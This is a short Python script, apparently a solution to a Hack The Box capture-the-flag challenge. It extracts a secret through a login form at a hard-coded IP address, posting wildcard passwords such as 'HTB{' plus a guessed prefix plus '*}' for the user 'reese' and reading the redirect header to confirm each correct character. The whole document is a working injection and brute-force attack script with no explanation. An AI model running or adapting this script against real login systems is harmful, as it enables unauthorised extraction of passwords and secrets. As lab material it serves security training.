import requests a = ord('a') sl = "" sl = ''.join([chr(i) for i in range(a,a+26)]) a = ord('A') sa = "" sa = ''.join([chr(i) for i in range(a,a+26)]) ssss = sl + "0123456789" + "_+-=\|?/!@#$%^&*()[]{}" + sa url = "http://178.128.164.214:31812/login" body = {"username" : "reese", "password" : "HTB{*c*}"} resp = requests.post(url, body, allow_redirects=False) ans = "" while 1: for c in ssss: s = "HTB{" + ans + c + "*}" body = {"username" : "reese", "password" : s} resp = requests.post(url, body, allow_redirects=False) print(ans) print(s) if resp.headers["Location"] == "/": ans += c break